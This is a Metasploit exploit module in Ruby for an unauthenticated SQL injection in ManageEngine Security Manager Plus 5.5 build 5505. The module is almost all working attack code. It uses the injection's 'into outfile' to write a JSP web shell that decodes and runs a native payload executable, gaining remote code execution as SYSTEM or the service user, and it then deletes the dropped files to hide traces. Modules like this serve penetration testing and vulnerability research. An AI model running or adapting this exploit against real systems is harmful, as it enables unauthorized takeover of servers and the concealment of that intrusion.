ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info={})
        super(update_info(info,
            'Name'           => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection",
            'Description'    => %q{
                    This module exploits a SQL injection found in ManageEngine Security Manager Plus
                advanced search page, which results in remote code execution under the context of
                SYSTEM in Windows; or as the user in Linux.  Authentication is not required in order
                to exploit this vulnerability.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'xistence <xistence[at]0x90.nl>',  # Discovery & Metasploit module
                    'sinn3r',                          # Improved Metasploit module
                    'egypt'                            # Improved Metasploit module
                ],
            'References'     =>
                [
                    ['EDB','22094'],
                    ['BID', '56138']
                ],
            'Platform'       => ['win', 'linux'],
            'Targets'        =>
                [
                    ['Automatic', {}],
                    ['Windows',   { 'Arch' => ARCH_X86, 'Platform' => 'win'   }],
                    ['Linux',     { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
                ],
            'DefaultTarget'  => 0,
            'Privileged'     => false,
            'DisclosureDate' => "Oct 18 2012"))

        register_options(
            [
                OptPort.new('RPORT', [true, 'The target port', 6262])
            ], self.class)
    end


    def check
        res = sqli_exec(Rex::Text.rand_text_alpha(1))

        if res and res.body =~ /Error during search/
            return Exploit::CheckCode::Appears
        else
            return Exploit::CheckCode::Safe
        end
    end


    def pick_target
        return target if target.name != 'Automatic'

        rnd_num   = Rex::Text.rand_text_numeric(1)
        rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
        outpath   = "../../webapps/SecurityManager/#{rnd_fname}"

        @clean_ups << outpath

        sqli  = "#{rnd_num})) union select @@version,"
        sqli << (2..28).map {|e| e} * ","
        sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
        sqli_exec(sqli)

        res = send_request_raw({'uri'=>"/#{rnd_fname}"})

        # What @@version returns:
        # Linux   = 5.0.36-enterprise
        # Windows = 5.0.36-enterprise-nt

        if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/
            print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}")
            return targets[1]  # Windows target
        elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/
            print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}")
            return targets[2]
        end

        return nil
    end


    #
    # We're in SecurityManager/bin at this point
    #
    def on_new_session(cli)
        if target['Platform'] == 'linux'
            print_warning("Malicious executable is removed during payload execution")
        end

        if cli.type == 'meterpreter'
            cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
        end

        @clean_ups.each { |f|
            base = File.basename(f)
            f = "../webapps/SecurityManager/#{base}"
            print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")

            begin
                if cli.type == 'meterpreter'
                    cli.fs.file.rm(f)
                else
                    del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
                    f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
                    cli.shell_command_token("#{del_cmd} \"#{f}\"")
                end

                print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
            rescue ::Exception => e
                print_error("Unable to delete: #{e.message}")
            end
        }
    end


    #
    # Embeds our executable in JSP
    #
    def generate_jsp_payload
        opts                = {:arch => @my_target.arch, :platform => @my_target.platform}
        native_payload      = Rex::Text.encode_base64(generate_payload_exe(opts))
        native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
        ext                 = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'

        var_raw     = Rex::Text.rand_text_alpha(rand(8) + 3)
        var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
        var_buf     = Rex::Text.rand_text_alpha(rand(8) + 3)
        var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
        var_tmp     = Rex::Text.rand_text_alpha(rand(8) + 3)
        var_path    = Rex::Text.rand_text_alpha(rand(8) + 3)
        var_proc2   = Rex::Text.rand_text_alpha(rand(8) + 3)

        if @my_target['Platform'] == 'linux'
            var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
            chmod = %Q|
            Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
            Thread.sleep(200);
            |

            var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
            cleanup = %Q|
            Thread.sleep(200);
            Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
            |
        else
            chmod   = ''
            cleanup = ''
        end

        jsp = %Q|
        <%@page import="java.io.*"%>
        <%@page import="sun.misc.BASE64Decoder"%>

        <%
        byte[] #{var_raw} = null;
        BufferedOutputStream #{var_ostream} = null;
        try {
            String #{var_buf} = "#{native_payload}";

            BASE64Decoder #{var_decoder} = new BASE64Decoder();
            #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

            File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
            String #{var_path} = #{var_tmp}.getAbsolutePath();

            #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
            #{var_ostream}.write(#{var_raw});
            #{var_ostream}.close();
            #{chmod}
            Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
            #{cleanup}
        } catch (Exception e) {
        }
        %>
        |

        jsp = jsp.gsub(/\n/, '')
        jsp = jsp.gsub(/\t/, '')

        jsp.unpack("H*")[0]
    end

    def sqli_exec(sqli_string)
        cookie  = 'STATE_COOKIE=&'
        cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
        cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
        cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
        cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
        cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
        cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
        cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
        cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
        cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'

        state_id = Rex::Text.rand_text_numeric(5)

        send_request_cgi({
            'method'    => 'POST',
            'uri'       => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
            'headers'   => {
                'Cookie' => cookie,
                'Accept-Encoding' => 'identity'
            },
            'vars_get'  => {
                'reqType'    =>'AdvanceSearch',
                'SUBREQUEST' =>'XMLHTTP'
            },
            'vars_post' => {
                'ANDOR'       => 'and',
                'condition_1' => 'OpenPorts@PORT',
                'operator_1'  => 'IN',
                'value_1'     => sqli_string,
                'COUNT'       => '1'
            }
        })
    end

    #
    # Run the actual exploit
    #
    def inject_exec(out)
        hex_jsp = generate_jsp_payload
        rnd_num = Rex::Text.rand_text_numeric(1)
        sqli  = "#{rnd_num})) union select 0x#{hex_jsp},"
        sqli << (2..28).map {|e| e} * ","
        sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"

        print_status("#{rhost}:#{rport} - Trying SQL injection...")
        sqli_exec(sqli)

        fname = "/#{File.basename(out)}"
        print_status("#{rhost}:#{rport} - Requesting #{fname}")
        send_request_raw({'uri' => fname})

        handler
    end


    def exploit
        # This is used to collect files we want to delete later
        @clean_ups = []

        @my_target = pick_target
        if @my_target.nil?
            print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
            return
        end

        jsp_name  = rand_text_alpha(rand(6)+3)
        outpath   = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}"

        @clean_ups << outpath

        inject_exec(outpath)
    end
end